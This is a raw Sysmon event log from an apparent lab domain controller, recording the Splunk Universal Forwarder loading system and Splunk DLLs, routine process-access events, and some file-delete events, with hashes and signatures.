15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000055884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000055870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000055869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000055864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.662{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000055857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.461{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7926A2263635DB489B753892E96B40E1,SHA256=EBECCC4E03F47ED9818B89F651CF735994120F0926B27A2A0B55905F5B70BF9E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.461{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=02FF2704CBDA0B6C1B290247E2663A49,SHA256=EEF4FA9E1BDC7475D5EBC4923D7A54BE0211991FDCF3AC9195938B644F7E54C5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.461{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=28A1020507F9829DCFC70FC6EEAC72DA,SHA256=222BC531FF0C4BC50A069341020712E6AB99AB71B1ABECB44BD2DE83962A9961,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000055854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.199{7BD73061-74A5-613B-9E0B-00000000F001}25764832C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.199{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.199{7BD73061-74A5-613B-9E0B-00000000F001}2576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating 